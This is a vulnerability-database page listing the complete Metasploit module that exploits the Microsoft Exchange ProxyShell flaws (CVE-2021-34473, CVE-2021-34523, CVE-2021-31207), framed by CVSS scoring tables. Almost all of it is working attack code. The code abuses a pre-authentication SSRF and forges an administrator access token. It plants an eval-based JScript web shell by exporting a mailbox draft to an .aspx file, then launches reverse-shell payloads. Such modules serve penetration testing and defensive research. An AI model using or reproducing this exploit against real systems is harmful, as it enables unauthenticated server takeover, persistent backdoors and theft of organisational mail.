Lucene search

K
packetstormSpencer McIntyrePACKETSTORM:163895
HistoryAug 20, 2021 - 12:00 a.m.

Microsoft Exchange ProxyShell Remote Code Execution

2021-08-2000:00:00
Spencer McIntyre
packetstormsecurity.com
694

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

10 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'winrm'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::CmdStager  
include Msf::Exploit::FileDropper  
include Msf::Exploit::Powershell  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::EXE  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Microsoft Exchange ProxyShell RCE',  
'Description' => %q{  
This module exploit a vulnerability on Microsoft Exchange Server that  
allows an attacker to bypass the authentication (CVE-2021-31207), impersonate an  
arbitrary user (CVE-2021-34523) and write an arbitrary file (CVE-2021-34473) to achieve  
the RCE (Remote Code Execution).  
  
By taking advantage of this vulnerability, you can execute arbitrary  
commands on the remote Microsoft Exchange Server.  
  
This vulnerability affects Exchange 2013 CU23 < 15.0.1497.15,  
Exchange 2016 CU19 < 15.1.2176.12, Exchange 2016 CU20 < 15.1.2242.5,  
Exchange 2019 CU8 < 15.2.792.13, Exchange 2019 CU9 < 15.2.858.9.  
  
All components are vulnerable by default.  
},  
'Author' => [  
'Orange Tsai', # Discovery  
'Jang (@testanull)', # Vulnerability analysis  
'PeterJson', # Vulnerability analysis  
'brandonshi123', # Vulnerability analysis  
'mekhalleh (RAMELLA Sébastien)', # exchange_proxylogon_rce template  
'Spencer McIntyre', # Metasploit module  
'wvu' # Testing  
],  
'References' => [  
[ 'CVE', '2021-34473' ],  
[ 'CVE', '2021-34523' ],  
[ 'CVE', '2021-31207' ],  
[ 'URL', 'https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1' ],  
[ 'URL', 'https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-ProxyLogon-Is-Just-The-Tip-Of-The-Iceberg-A-New-Attack-Surface-On-Microsoft-Exchange-Server.pdf' ],  
[ 'URL', 'https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/' ]  
],  
'DisclosureDate' => '2021-04-06', # pwn2own 2021  
'License' => MSF_LICENSE,  
'DefaultOptions' => {  
'RPORT' => 443,  
'SSL' => true  
},  
'Platform' => ['windows'],  
'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86],  
'Privileged' => true,  
'Targets' => [  
[  
'Windows Powershell',  
{  
'Platform' => 'windows',  
'Arch' => [ARCH_X64, ARCH_X86],  
'Type' => :windows_powershell,  
'DefaultOptions' => {  
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'  
}  
}  
],  
[  
'Windows Dropper',  
{  
'Platform' => 'windows',  
'Arch' => [ARCH_X64, ARCH_X86],  
'Type' => :windows_dropper,  
'CmdStagerFlavor' => %i[psh_invokewebrequest],  
'DefaultOptions' => {  
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',  
'CMDSTAGER::FLAVOR' => 'psh_invokewebrequest'  
}  
}  
],  
[  
'Windows Command',  
{  
'Platform' => 'windows',  
'Arch' => [ARCH_CMD],  
'Type' => :windows_command,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'  
}  
}  
]  
],  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],  
'AKA' => ['ProxyShell'],  
'Reliability' => [REPEATABLE_SESSION]  
}  
)  
)  
  
register_options([  
OptString.new('EMAIL', [true, 'A known email address for this organization']),  
OptBool.new('UseAlternatePath', [true, 'Use the IIS root dir as alternate path', false]),  
])  
  
register_advanced_options([  
OptString.new('BackendServerName', [false, 'Force the name of the backend Exchange server targeted']),  
OptString.new('ExchangeBasePath', [true, 'The base path where exchange is installed', 'C:\\Program Files\\Microsoft\\Exchange Server\\V15']),  
OptString.new('ExchangeWritePath', [true, 'The path where you want to write the backdoor', 'owa\\auth']),  
OptString.new('IISBasePath', [true, 'The base path where IIS wwwroot directory is', 'C:\\inetpub\\wwwroot']),  
OptString.new('IISWritePath', [true, 'The path where you want to write the backdoor', 'aspnet_client']),  
OptString.new('MapiClientApp', [true, 'This is MAPI client version sent in the request', 'Outlook/15.0.4815.1002']),  
OptString.new('UserAgent', [true, 'The HTTP User-Agent sent in the request', 'Mozilla/5.0'])  
])  
end  
  
def check  
@ssrf_email ||= Faker::Internet.email  
res = send_http('GET', '/mapi/nspi/')  
return CheckCode::Unknown if res.nil?  
return CheckCode::Safe unless res.code == 200 && res.get_html_document.xpath('//head/title').text == 'Exchange MAPI/HTTP Connectivity Endpoint'  
  
CheckCode::Vulnerable  
end  
  
def cmd_windows_generic?  
datastore['PAYLOAD'] == 'cmd/windows/generic'  
end  
  
def encode_cmd(cmd)  
cmd.gsub!('\\', '\\\\\\')  
cmd.gsub('"', '\u0022').gsub('&', '\u0026').gsub('+', '\u002b')  
end  
  
def random_mapi_id  
id = "{#{Rex::Text.rand_text_hex(8)}"  
id = "#{id}-#{Rex::Text.rand_text_hex(4)}"  
id = "#{id}-#{Rex::Text.rand_text_hex(4)}"  
id = "#{id}-#{Rex::Text.rand_text_hex(4)}"  
id = "#{id}-#{Rex::Text.rand_text_hex(12)}}"  
id.upcase  
end  
  
def request_autodiscover(_server_name)  
xmlns = { 'xmlns' => 'http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a' }  
  
response = send_http(  
'POST',  
'/autodiscover/autodiscover.xml',  
data: soap_autodiscover,  
ctype: 'text/xml; charset=utf-8'  
)  
  
case response.body  
when %r{<ErrorCode>500</ErrorCode>}  
fail_with(Failure::NotFound, 'No Autodiscover information was found')  
when %r{<Action>redirectAddr</Action>}  
fail_with(Failure::NotFound, 'No email address was found')  
end  
  
xml = Nokogiri::XML.parse(response.body)  
  
legacy_dn = xml.at_xpath('//xmlns:User/xmlns:LegacyDN', xmlns)&.content  
fail_with(Failure::NotFound, 'No \'LegacyDN\' was found') if legacy_dn.nil? || legacy_dn.empty?  
  
server = ''  
xml.xpath('//xmlns:Account/xmlns:Protocol', xmlns).each do |item|  
type = item.at_xpath('./xmlns:Type', xmlns)&.content  
if type == 'EXCH'  
server = item.at_xpath('./xmlns:Server', xmlns)&.content  
end  
end  
fail_with(Failure::NotFound, 'No \'Server ID\' was found') if server.nil? || server.empty?  
  
{ server: server, legacy_dn: legacy_dn }  
end  
  
def request_fqdn  
ntlm_ssp = "NTLMSSP\x00\x01\x00\x00\x00\x05\x02\x88\xa0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
received = send_request_raw(  
'method' => 'RPC_IN_DATA',  
'uri' => normalize_uri('rpc', 'rpcproxy.dll'),  
'headers' => {  
'Authorization' => "NTLM #{Rex::Text.encode_base64(ntlm_ssp)}"  
}  
)  
fail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received  
  
if received.code == 401 && received['WWW-Authenticate'] && received['WWW-Authenticate'].match(/^NTLM/i)  
hash = received['WWW-Authenticate'].split('NTLM ')[1]  
message = Net::NTLM::Message.parse(Rex::Text.decode_base64(hash))  
dns_server = Net::NTLM::TargetInfo.new(message.target_info).av_pairs[Net::NTLM::TargetInfo::MSV_AV_DNS_COMPUTER_NAME]  
  
return dns_server.force_encoding('UTF-16LE').encode('UTF-8').downcase  
end  
  
fail_with(Failure::NotFound, 'No Backend server was found')  
end  
  
# https://docs.microsoft.com/en-us/openspecs/exchange_server_protocols/ms-oxcmapihttp/c245390b-b115-46f8-bc71-03dce4a34bff  
def request_mapi(_server_name, legacy_dn)  
data = "#{legacy_dn}\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"  
headers = {  
'X-RequestType' => 'Connect',  
'X-ClientInfo' => random_mapi_id,  
'X-ClientApplication' => datastore['MapiClientApp'],  
'X-RequestId' => "#{random_mapi_id}:#{Rex::Text.rand_text_numeric(5)}"  
}  
  
sid = ''  
response = send_http(  
'POST',  
'/mapi/emsmdb',  
data: data,  
ctype: 'application/mapi-http',  
headers: headers  
)  
if response&.code == 200  
sid = response.body.match(/S-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*/).to_s  
end  
fail_with(Failure::NotFound, 'No \'SID\' was found') if sid.empty?  
  
sid  
end  
  
# pre-authentication SSRF (Server Side Request Forgery) + impersonate as admin.  
def run_cve_2021_34473  
if datastore['BackendServerName'] && !datastore['BackendServerName'].empty?  
server_name = datastore['BackendServerName']  
print_status("Internal server name forced to: #{server_name}")  
else  
print_status('Retrieving backend FQDN over RPC request')  
server_name = request_fqdn  
print_status("Internal server name: #{server_name}")  
end  
@backend_server_name = server_name  
  
# get information via an autodiscover request.  
print_status('Sending autodiscover request')  
autodiscover = request_autodiscover(server_name)  
  
print_status("Server: #{autodiscover[:server]}")  
print_status("LegacyDN: #{autodiscover[:legacy_dn]}")  
  
# get the user UID using mapi request.  
print_status('Sending mapi request')  
mailbox_user_sid = request_mapi(server_name, autodiscover[:legacy_dn])  
print_status("SID: #{mailbox_user_sid} (#{datastore['EMAIL']})")  
  
send_payload(mailbox_user_sid)  
@common_access_token = build_token(mailbox_user_sid)  
end  
  
def send_http(method, uri, opts = {})  
ssrf = "Autodiscover/autodiscover.json?a=#{@ssrf_email}"  
unless opts[:cookie] == :none  
opts[:cookie] = "Email=#{ssrf}"  
end  
  
request = {  
'method' => method,  
'uri' => "/#{ssrf}#{uri}",  
'agent' => datastore['UserAgent'],  
'ctype' => opts[:ctype],  
'headers' => { 'Accept' => '*/*', 'Cache-Control' => 'no-cache', 'Connection' => 'keep-alive' }  
}  
request = request.merge({ 'data' => opts[:data] }) unless opts[:data].nil?  
request = request.merge({ 'cookie' => opts[:cookie] }) unless opts[:cookie].nil?  
request = request.merge({ 'headers' => opts[:headers] }) unless opts[:headers].nil?  
  
received = send_request_cgi(request)  
fail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received  
  
received  
end  
  
def send_payload(user_sid)  
@shell_input_name = rand_text_alphanumeric(8..12)  
@draft_subject = rand_text_alphanumeric(8..12)  
payload = Rex::Text.encode_base64(PstEncoding.encode("#<script language=\"JScript\" runat=\"server\">function Page_Load(){eval(Request[\"#{@shell_input_name}\"],\"unsafe\");}</script>"))  
file_name = "#{Faker::Lorem.word}#{%w[- _].sample}#{Faker::Lorem.word}.#{%w[rtf pdf docx xlsx pptx zip].sample}"  
envelope = XMLTemplate.render('soap_draft', user_sid: user_sid, file_content: payload, file_name: file_name, subject: @draft_subject)  
  
send_http('POST', '/ews/exchange.asmx', data: envelope, ctype: 'text/xml;charset=UTF-8')  
end  
  
def soap_autodiscover  
<<~SOAP  
<?xml version="1.0" encoding="utf-8"?>  
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">  
<Request>  
<EMailAddress>#{datastore['EMAIL'].encode(xml: :text)}</EMailAddress>  
<AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>  
</Request>  
</Autodiscover>  
SOAP  
end  
  
def web_directory  
if datastore['UseAlternatePath']  
datastore['IISWritePath'].gsub('\\', '/')  
else  
datastore['ExchangeWritePath'].gsub('\\', '/')  
end  
end  
  
def build_token(sid)  
uint8_tlv = proc do |type, value|  
type + [value.length].pack('C') + value  
end  
  
token = uint8_tlv.call('V', "\x00")  
token << uint8_tlv.call('T', 'Windows')  
token << "\x43\x00"  
token << uint8_tlv.call('A', 'Kerberos')  
token << uint8_tlv.call('L', datastore['EMAIL'])  
token << uint8_tlv.call('U', sid)  
  
# group data for S-1-5-32-544  
token << "\x47\x01\x00\x00\x00\x07\x00\x00\x00\x0c\x53\x2d\x31\x2d\x35\x2d\x33\x32\x2d\x35\x34\x34\x45\x00\x00\x00\x00"  
Rex::Text.encode_base64(token)  
end  
  
def execute_powershell(cmdlet, args: [])  
winrm = SSRFWinRMConnection.new({  
endpoint: full_uri('PowerShell/'),  
transport: :ssrf,  
ssrf_proc: proc do |method, uri, opts|  
uri = "#{uri}?X-Rps-CAT=#{@common_access_token}"  
uri << "&Email=Autodiscover/autodiscover.json?a=#{@ssrf_email}"  
opts[:cookie] = :none  
opts[:data].gsub!(  
%r{<#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>(.*?)</#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>},  
"<#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>http://127.0.0.1/PowerShell/</#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>"  
)  
opts[:data].gsub!(  
%r{<#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI mustUnderstand="true">(.*?)</#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>},  
"<#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>http://schemas.microsoft.com/powershell/Microsoft.Exchange</#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>"  
)  
send_http(method, uri, opts)  
end  
})  
  
winrm.shell(:powershell) do |shell|  
shell.instance_variable_set(:@max_fragment_blob_size, WinRM::PSRP::MessageFragmenter::DEFAULT_BLOB_LENGTH)  
shell.extend(SSRFWinRMConnection::PowerShell)  
shell.run({ cmdlet: cmdlet, args: args })  
end  
end  
  
def exploit  
@ssrf_email ||= Faker::Internet.email  
print_status('Attempt to exploit for CVE-2021-34473')  
run_cve_2021_34473  
  
powershell_probe = send_http('GET', "/PowerShell/?X-Rps-CAT=#{@common_access_token}&Email=Autodiscover/autodiscover.json?a=#{@ssrf_email}", cookie: :none)  
fail_with(Failure::UnexpectedReply, 'Failed to access the PowerShell backend') unless powershell_probe&.code == 200  
  
print_status('Assigning the \'Mailbox Import Export\' role')  
execute_powershell('New-ManagementRoleAssignment', args: [ { name: '-Role', value: 'Mailbox Import Export' }, { name: '-User', value: datastore['EMAIL'] } ])  
  
@shell_filename = "#{rand_text_alphanumeric(8..12)}.aspx"  
if datastore['UseAlternatePath']  
unc_path = "#{datastore['IISBasePath'].split(':')[1]}\\#{datastore['IISWritePath']}"  
unc_path = "\\\\\\\\#{@backend_server_name}\\#{datastore['IISBasePath'].split(':')[0]}$#{unc_path}\\#{@shell_filename}"  
else  
unc_path = "#{datastore['ExchangeBasePath'].split(':')[1]}\\FrontEnd\\HttpProxy\\#{datastore['ExchangeWritePath']}"  
unc_path = "\\\\\\\\#{@backend_server_name}\\#{datastore['ExchangeBasePath'].split(':')[0]}$#{unc_path}\\#{@shell_filename}"  
end  
  
normal_path = unc_path.gsub(/^\\+127\.0\.0\.1\\(.)\$\\/, '\1:\\')  
print_status("Writing to: #{normal_path}")  
register_file_for_cleanup(normal_path)  
  
@export_name = rand_text_alphanumeric(8..12)  
execute_powershell('New-MailboxExportRequest', args: [  
{ name: '-Name', value: @export_name },  
{ name: '-Mailbox', value: datastore['EMAIL'] },  
{ name: '-IncludeFolders', value: '#Drafts#' },  
{ name: '-ContentFilter', value: "(Subject -eq '#{@draft_subject}')" },  
{ name: '-ExcludeDumpster' },  
{ name: '-FilePath', value: unc_path }  
])  
  
print_status('Waiting for the export request to complete...')  
30.times do  
if execute_command('whoami')&.code == 200  
print_good('The mailbox export request has completed')  
break  
end  
sleep 5  
end  
  
print_status('Triggering the payload')  
case target['Type']  
when :windows_command  
vprint_status("Generated payload: #{payload.encoded}")  
  
if !cmd_windows_generic?  
execute_command(payload.encoded)  
else  
boundary = rand_text_alphanumeric(8..12)  
response = execute_command("cmd /c echo START#{boundary}&#{payload.encoded}&echo END#{boundary}")  
  
print_warning('Dumping command output in response')  
if response.body =~ /START#{boundary}(.*)END#{boundary}/m  
print_line(Regexp.last_match(1).strip)  
else  
print_error('Empty response, no command output')  
end  
end  
when :windows_dropper  
execute_command(generate_cmdstager(concat_operator: ';').join)  
when :windows_powershell  
cmd = cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true)  
execute_command(cmd)  
end  
end  
  
def cleanup  
super  
return unless @common_access_token && @export_name  
  
print_status('Removing the mailbox export request')  
execute_powershell('Remove-MailboxExportRequest', args: [  
{ name: '-Identity', value: "#{datastore['EMAIL']}\\#{@export_name}" },  
{ name: '-Confirm', value: false }  
])  
end  
  
def execute_command(cmd, _opts = {})  
if !cmd_windows_generic?  
cmd = "Response.Write(new ActiveXObject(\"WScript.Shell\").Exec(\"#{encode_cmd(cmd)}\"));"  
else  
cmd = "Response.Write(new ActiveXObject(\"WScript.Shell\").Exec(\"#{encode_cmd(cmd)}\").StdOut.ReadAll());"  
end  
  
send_request_raw(  
'method' => 'POST',  
'uri' => normalize_uri(web_directory, @shell_filename),  
'ctype' => 'application/x-www-form-urlencoded',  
'data' => "#{@shell_input_name}=#{cmd}"  
)  
end  
end  
  
class PstEncoding  
ENCODE_TABLE = [  
71, 241, 180, 230, 11, 106, 114, 72,  
133, 78, 158, 235, 226, 248, 148, 83,  
224, 187, 160, 2, 232, 90, 9, 171,  
219, 227, 186, 198, 124, 195, 16, 221,  
57, 5, 150, 48, 245, 55, 96, 130,  
140, 201, 19, 74, 107, 29, 243, 251,  
143, 38, 151, 202, 145, 23, 1, 196,  
50, 45, 110, 49, 149, 255, 217, 35,  
209, 0, 94, 121, 220, 68, 59, 26,  
40, 197, 97, 87, 32, 144, 61, 131,  
185, 67, 190, 103, 210, 70, 66, 118,  
192, 109, 91, 126, 178, 15, 22, 41,  
60, 169, 3, 84, 13, 218, 93, 223,  
246, 183, 199, 98, 205, 141, 6, 211,  
105, 92, 134, 214, 20, 247, 165, 102,  
117, 172, 177, 233, 69, 33, 112, 12,  
135, 159, 116, 164, 34, 76, 111, 191,  
31, 86, 170, 46, 179, 120, 51, 80,  
176, 163, 146, 188, 207, 25, 28, 167,  
99, 203, 30, 77, 62, 75, 27, 155,  
79, 231, 240, 238, 173, 58, 181, 89,  
4, 234, 64, 85, 37, 81, 229, 122,  
137, 56, 104, 82, 123, 252, 39, 174,  
215, 189, 250, 7, 244, 204, 142, 95,  
239, 53, 156, 132, 43, 21, 213, 119,  
52, 73, 182, 18, 10, 127, 113, 136,  
253, 157, 24, 65, 125, 147, 216, 88,  
44, 206, 254, 36, 175, 222, 184, 54,  
200, 161, 128, 166, 153, 152, 168, 47,  
14, 129, 101, 115, 228, 194, 162, 138,  
212, 225, 17, 208, 8, 139, 42, 242,  
237, 154, 100, 63, 193, 108, 249, 236  
].freeze  
  
def self.encode(data)  
encoded = ''  
data.each_char do |char|  
encoded << ENCODE_TABLE[char.ord].chr  
end  
encoded  
end  
end  
  
class XMLTemplate  
def self.render(template_name, context = nil)  
file_path = ::File.join(::Msf::Config.data_directory, 'exploits', 'proxyshell', "#{template_name}.xml.erb")  
template = ::File.binread(file_path)  
case context  
when Hash  
b = binding  
locals = context.collect { |k, _| "#{k} = context[#{k.inspect}]; " }  
b.eval(locals.join)  
else  
raise ArgumentError  
end  
b.eval(Erubi::Engine.new(template).src)  
end  
end  
  
class SSRFWinRMConnection < WinRM::Connection  
class MessageFactory < WinRM::PSRP::MessageFactory  
def self.create_pipeline_message(runspace_pool_id, pipeline_id, command)  
WinRM::PSRP::Message.new(  
runspace_pool_id,  
WinRM::PSRP::Message::MESSAGE_TYPES[:create_pipeline],  
XMLTemplate.render('create_pipeline', cmdlet: command[:cmdlet], args: command[:args]),  
pipeline_id  
)  
end  
end  
  
# we have to define this class so we can define our own transport factory that provides one backed by the SSRF  
# vulnerability  
class TransportFactory < WinRM::HTTP::TransportFactory  
class HttpSsrf < WinRM::HTTP::HttpTransport  
# rubocop:disable Lint/  
def initialize(endpoint, options)  
@endpoint = endpoint.is_a?(String) ? URI.parse(endpoint) : endpoint  
@ssrf_proc = options[:ssrf_proc]  
end  
  
def send_request(message)  
resp = @ssrf_proc.call('POST', @endpoint.path, { ctype: 'application/soap+xml;charset=UTF-8', data: message })  
WinRM::ResponseHandler.new(resp.body, resp.code).parse_to_xml  
end  
end  
  
def create_transport(connection_opts)  
raise NotImplementedError unless connection_opts[:transport] == :ssrf  
  
super  
end  
  
private  
  
def init_ssrf_transport(opts)  
HttpSsrf.new(opts[:endpoint], opts)  
end  
end  
  
module PowerShell  
def send_command(command, _arguments)  
command_id = SecureRandom.uuid.to_s.upcase  
message = MessageFactory.create_pipeline_message(@runspace_id, command_id, command)  
fragmenter.fragment(message) do |fragment|  
command_args = [connection_opts, shell_id, command_id, fragment]  
if fragment.start_fragment  
resp_doc = transport.send_request(WinRM::WSMV::CreatePipeline.new(*command_args).build)  
command_id = REXML::XPath.first(resp_doc, "//*[local-name() = 'CommandId']").text  
else  
transport.send_request(WinRM::WSMV::SendData.new(*command_args).build)  
end  
end  
  
command_id  
end  
end  
  
def initialize(connection_opts)  
# these have to be set to truthy values to pass the option validation, but they're not actually used because hax  
connection_opts.merge!({ user: :ssrf, password: :ssrf })  
super(connection_opts)  
end  
  
def transport  
@transport ||= begin  
transport_factory = TransportFactory.new  
transport_factory.create_transport(@connection_opts)  
end  
end  
end  
`

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

10 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C